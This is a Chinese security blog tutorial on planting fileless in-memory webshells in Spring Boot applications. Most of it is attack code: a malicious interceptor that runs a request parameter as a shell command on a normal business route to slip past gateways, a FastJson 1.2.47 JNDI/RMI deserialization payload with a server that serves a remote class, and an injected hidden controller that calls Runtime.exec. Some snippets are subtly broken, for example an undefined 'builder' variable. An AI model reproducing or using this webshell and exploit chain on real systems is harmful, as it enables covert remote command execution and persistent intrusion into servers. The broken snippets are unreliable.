<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    深入淺出內存馬(二) 之SpringBoot內存馬(文末視頻教學)

    VSole2021-08-26 11:30:00

    0x01 前言

    在上一篇文章中深入淺出內存馬(一),我介紹了基于TomcatFilter內存馬,不光是Filter 還有listenerservletcontroller 等不同形式的內存馬。如今企業開發過程中,大部分使用的都是spring系列的框架進行開發,特別是SpringBoot,現在基本是企業開發的標配。所以探討Spring系列下的內存馬就顯得非常必要了。

    今天我們就來研究研究Spring Boot下的內存馬實現。

    0x02 需求

    隨著微服務部署技術的迭代演進,大型業務系統在到達真正的應用服務器的時候,會經過一些系列的網關,復雜均衡,防火墻。所以如果你新建的shell路由不在這些網關的白名單中,那么就很有可能無法訪問到,在到達應用服務器之前就會被丟棄,我們該如何解決這個問題?

    所以,在注入內存馬的時候,就盡量不要用新建的路由,或者shell地址。最好是在訪問正常的業務地址之前,就能執行我們的代碼。

    根據這個文章里面的說法基于內存 Webshell 的無文件攻擊技術研究

    在經過一番文檔查閱和源碼閱讀后,發現可能有不止一種方法可以達到以上效果。其中通用的技術點主要有以下幾個:

    1. 在不使用注解和修改配置文件的情況下,使用純 java 代碼來獲得當前代碼運行時的上下文環境;
    2. 在不使用注解和修改配置文件的情況下,使用純 java 代碼在上下文環境中手動注冊一個 controller;
    3. controller 中寫入 Webshell 邏輯,達到和 Webshell 的 URL 進行交互回顯的效果;

    0x03 SpringBoot的生命周期

    為了滿足上面的需求,我們需要了解SpringBoot的生命周期,我們需要研究的是:一個請求到到應用層之前,需要經過那幾個部分?是如何一步一步到到我們的Controller的?

    我們用IDEA來搭建一個SpingBoot2 的環境

    訪問地址:

    我們還是把斷點打在org.apache.catalina.core.ApplicationFilterChain中的 internalDoFilter方法中

    可以看到整個執行流程

    這部分在上一篇文章中已經詳細描述過,這里不在贅述。

    但是這里不同的是在經過 Filter 層面處理后,就會進入熟悉的 spring-webmvc 組件 org.springframework.web.servlet.DispatcherServlet 類的 doDispatch 方法中。

    跟進去這個方法

    可以看到是遍歷this.handlerMappings 這個迭代器中的mappergetHandler 方法處理Http中的request請求。

    繼續追蹤,最終會調用到org.springframework.web.servlet.handler.AbstractHandlerMapping 類的 getHandler 方法,并通過 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 類的實例。

    繼續跟進getHandlerExecutionChain 方法,

       protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
            HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);
            Iterator var4 = this.adaptedInterceptors.iterator();
            while(var4.hasNext()) {
                HandlerInterceptor interceptor = (HandlerInterceptor)var4.next();
                if (interceptor instanceof MappedInterceptor) {
                    MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
                    if (mappedInterceptor.matches(request)) {
                        chain.addInterceptor(mappedInterceptor.getInterceptor());
                    }
                } else {
                    chain.addInterceptor(interceptor);
                }
            }
        //返回的是HandlerExecutonChain,這里包含了所有的攔截器
            return chain;
        }
    

    好了,現在我們知道程序在哪里加入的攔截器(interceptor)后,追蹤到這行代碼

    if (!mappedHandler.applyPreHandle(processedRequest, response)) {
        return;
    }
    

    跟進之后發現interceptor.preHandle(request, response, this.handler) 會遍歷攔截器,并執行其preHandle方法。

    如果程序提前在調用的 Controller 上設置了 Aspect(切面),那么在正式調用 Controller 前實際上會先調用切面的代碼,一定程度上也起到了 "攔截" 的效果。

    那么總結一下,一個 request 發送到 spring 應用,大概會經過以下幾個層面才會到達處理業務邏輯的 Controller 層:

    HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller
    

    0x04 攔截器Interceptor 的理論探索

    Interceptor 來攔截所有進入 Controller 的 http 請求理論上是可行的,接下來就是實現從代碼層面動態注入一個 Interceptor 來達到 webshell 的效果。

    可以通過繼承 HandlerInterceptorAdapter 類或者HandlerInterceptor 類并重寫其 preHandle 方法實現攔截。preHandle是請求執行前執行,preHandle 方法中寫一些攔截的處理,比如下面,當請求參數中帶 id 時進行攔截,并寫入字符串 InterceptorTest OK! 到 response。

    0x0401 模擬真實業務

    真實業務,這里模擬一個登錄場景,登錄成功返回login success。

    package com.evalshell.springboot.web;
    import com.evalshell.springboot.model.User;
    import org.springframework.beans.factory.annotation.Autowired;
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.ResponseBody;
    import javax.servlet.http.HttpServletRequest;
    @Controller
    @RequestMapping(value = "/user")
    public class UserCrotroller {
        @RequestMapping(value = "/login")
        public @ResponseBody Object login(HttpServletRequest request){
          //簡單模擬登錄成功
          //實體類User 我就不贅述了,就是有2個屬性。并實現getter和setter 構造器方法
            User user = new User();
            user.setAge(18);
            user.setName("jack");
            request.getSession().setAttribute("user", user);
            return "login success";
        }
    }
    

    0x0402 編寫自定義的Interceptor

    package com.evalshell.springboot.interceptor;
    import org.springframework.web.servlet.HandlerInterceptor;
    import org.springframework.web.servlet.ModelAndView;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    public class VulInterceptor implements HandlerInterceptor {
        @Override
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            String code = request.getParameter("code");
            if(code != null){
                try {
                    java.io.PrintWriter writer = response.getWriter();
                    ProcessBuilder p;
                    if(System.getProperty("os.name").toLowerCase().contains("win")){
                        p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                    }else{
                        System.out.println(code);
                        p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code});
                    }
                    builder.redirectErrorStream(true);
                    Process p = builder.start();
                    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
                    String result = r.readLine();
                    System.out.println(result);
                    writer.println(result);
                    writer.flush();
                    writer.close();
                }catch (Exception e){
                }
                return false;
            }
            return true;
        }
        @Override
        public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
            HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
        }
        @Override
        public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
            HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
        }
    }
    

    0x0403 注冊攔截器

    實現攔截器后還需要將攔截器注冊到spring容器中,可以通過implements WebMvcConfigurer,覆蓋其addInterceptors(InterceptorRegistry registry)方法

    package com.evalshell.springboot.config;
    import com.evalshell.springboot.interceptor.VulInterceptor;
    import org.springframework.context.annotation.Configuration;
    import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
    import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
    @Configuration
    public class InterceptorConfig implements WebMvcConfigurer {
        @Override
        public void addInterceptors(InterceptorRegistry registry) {
          //這里是配置需要攔截的路由
            String[] VulPathPatterns = {"/user/login"};
            registry.addInterceptor(new VulInterceptor()).addPathPatterns(VulPathPatterns);
        }
    }
    


    可以看到達到的效果是訪問正常路由,不會影響正常業務。如果是帶有code的參數會執行code里面的代碼,從而突破網關的限制。

    那么我們現在已經明白了如何在springboot中進行攔截,并執行我們的內存馬,但是還是有一個問題,如何注入我們的內存馬?

    在這里根據landgrey大佬的思路:

    spring boot 初始化過程中會往 org.springframework.context.support.LiveBeansView 類的 applicationContexts 屬性中添加 org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext 類的對象。bean 實例名字是 requestMappingHandlerMapping 或者比較老版本的 DefaultAnnotationHandlerMapping 。那么獲取 adaptedInterceptors 屬性值就比較簡單了:
    org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
    java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
    field.setAccessible(true);
    java.util.ArrayList adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping);
    我總結下就是:
    首先獲取應用的上下文環境,也就是ApplicationContext
    然后從 ApplicationContext 中獲取 AbstractHandlerMapping 實例(用于反射)
    反射獲取 AbstractHandlerMapping類的 adaptedInterceptors字段
    通過 adaptedInterceptors注冊攔截器
    0x05  實戰
    為了方便搭建環境,我們采用FastJson 1.2.47的RCE來創造反序列化漏洞利用點,我們在pom.xml中配置好我們的依賴,
     <dependencies>
        
      <dependency>
       <groupId>com.alibabagroupId>
       <artifactId>fastjsonartifactId>
       <version>1.2.47version>
      dependency>
            
        <dependency>
       <groupId>org.springframework.bootgroupId>
       <artifactId>spring-boot-starter-webartifactId>
      dependency>
     dependencies>
    手動創建一個FastJson的利用點,因為在 JDK 18u191, 11.0.1之后 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整為false,為了演示,我這里是用了JDK 18u102。
    @Controller
    public class VulController {
        @RequestMapping(value = "/unserializer")
        @ResponseBody
        public String unserializer(@RequestParam String code){
            JSON.parse(code);
            return "unserializer";
        }
    }
    創建RMI服務器
    package com.evalshell.server;
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    import javax.naming.Reference;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    public class JNDIServer {
        public static void main(String[] args) throws Exception {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference reference = new Reference("TouchFile",
                    "com.evalshell.server.TouchFile","http://127.0.0.1:8083/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("Exploit", referenceWrapper);
        }
    }
    創建惡意代碼
    package com.evalshell.server;
    import java.lang.Runtime;
    import java.lang.Process;
    public class TouchFile {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"open", "/System/Applications/Calculator.app"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }
    啟動JNDIServer,端口啟動在了1099
    在TouchFile的編譯后的類路徑下,開啟web服務,提供惡意類文件的http下載服務,這個端口必須和上面的JNDIServer中配置的一致。
    我們使用FastJson的Payload進行攻擊
    {
    

        

    "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://127.0.0.1:1099/TouchFile",
            "autoCommit":true
        }
    }
    用postman請求,攻擊成功的話,就會彈出計算器,表示可以執行任意命令。
    好的,上述已經搭建起一個Fastjson的漏洞環境。
    使用上述方法編寫攔截器內存馬:
    


    package com.evalshell.server;
    import org.springframework.web.context.WebApplicationContext;
    import org.springframework.web.context.request.RequestContextHolder;
    import org.springframework.web.context.request.ServletRequestAttributes;
    import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
    import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
    import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
    import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
    import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    public class Evil {
        public Evil() throws Exception{
            // 關于獲取Context的方式有多種
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                    currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
            method.setAccessible(true);
            // 通過反射獲得該類的test方法
            Method method2 = Evil.class.getMethod("test");
            // 定義該controller的path
            PatternsRequestCondition url = new PatternsRequestCondition("/good");
            // 定義允許訪問的HTTP方法
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            // 構造注冊信息
            RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
            // 創建用于處理請求的對象,避免無限循環使用另一個構造方法
            Evil injectToController = new Evil("aaa");
            // 將該controller注冊到Spring容器
            mappingHandlerMapping.registerMapping(info, injectToController, method2);
        }
        private Evil(String aaa) {
        }
        public void test() throws IOException {
            // 獲取請求
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            // 獲取請求的參數cmd并執行
            // 類似于PHP的system($_GET["cmd"])
            Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
    }
    同時修改JNDIServer類中的代碼
    將Reference reference = new Reference("VulClass", "com.evalshell.server.VulClass","http://127.0.0.1:8083/"); 替換成 Reference reference = new Reference("Evil","com.evalshell.server.Evil","http://127.0.0.1:8083/");
    最后演示一下,使用fastjson RCE進行攻擊并動態寫入我們的內存馬
    至此,我們已經完成SpringBoot下的無文件內存馬的實現!
    0x06 參考
    https://landgrey.me/blog/19/
    https://www.anquanke.com/post/id/198886#h2-0
    https://evalshell.com/
    
    handlerspring攔截器
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    一、異步執行 實現方式二種: 使用異步注解@aysnc、啟動類:添加@EnableAsync注解 JDK 8本身有一個非常好用的Future類——CompletableFuture
    0x01 前言在上一篇文章中深入淺出內存馬(一),我介紹了基于Tomcat的Filter內存馬,不光是Fil
    Spring MVC是一種基于Java的實現了Web MVC設計模式的請求驅動類型的輕量級Web框架,即使用了MVC架構模式的思想,將web層進行職責解耦,基于請求驅動指的就是使用請求-響應模型,框架的目的就是幫助我們簡化開發,Spring Web MVC也是要簡化我們日常Web開發的
    對于管理系統或其他需要用戶登錄的系統,登錄驗證都是必不可少的環節,在 SpringBoot 開發的項目中,通過實現攔截器來實現用戶登錄攔截并驗證。 1、SpringBoot 實現登錄攔截的原理 SpringBoot 通過實現HandlerInterceptor接口實現攔截器,通過實現WebMvcConfigurer接口實現一個配置類,在配置類中注入攔截器,最后再通過 @Configuration
    前言為什么使用spring-authorization-server?真實原因:原先是因為個人原因,需要研究新版鑒權服務,看到了spring-authorization-server,使用過程中,想著能不能整合新版本cloud,因此此處先以springboot搭建spring-authorization-server,后續再替換為springcloud2021。官方原因:原先使用Spring Security OAuth,而該項目已經逐漸被淘汰,雖然網上還是有不少該方案,但秉著技術要隨時代更新,從而使用spring-authorization-serverSpring 團隊正式宣布 Spring Security OAuth 停止維護,該項目將不會再進行任何的迭代項目構建以springboot搭建spring-authorization-server數據庫相關表結構構建需要創建3張表,sql分別如下CREATE?
    最近想要針對Shiro的利用工具擴展利用鏈,但自己完全寫一個工具即麻煩也沒有必要,因此想要通過SummerSec師傅開源的工具ShiroAttack2擴展來實現,既然要擴展首先就得了解項目的源碼實現。本片文章中我不會通篇的對這個項目代碼進行分析,只抽出幾個我認為的要點進行分析。
    0x01 漏洞概述IBM WebSphere Application Server在今年6月發布了一則漏洞通告,cve編號為:CVE-2020-4450。該漏洞允許攻擊者通過iiop向WAS進行網絡請求,最終在WAS上執行任意代碼。
    Eclipse Jetty是一個Java Web 服務器和Java Servlet容器。雖然 Web 服務器通常與向人們提供文檔相關聯,但 Jetty 現在通常用于機器對機器的通信,通常在更大的軟件框架內。Jetty 是作為Eclipse Foundation的一部分開發的免費和開源項目。Web 服務器用于Apache ActiveMQ、Alfresco、Scalatra、Apache Geron
    ?上整理的?試問題?全,有些 HW ?試的題,已經收集好了,提供給?家。
    大廠基本為了程序的安全,會使用大量內聯SVC去調用系統函數,以此來保護程序的安全。如何實現SVC指令的IO重定向,成為最大的問題。內核態是當Linux需要處理文件,或者進行中斷IO等操作的時候就會進入內核態。當arm系列cpu發現svc指令的時候,就會陷入中斷,簡稱0x80中斷。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类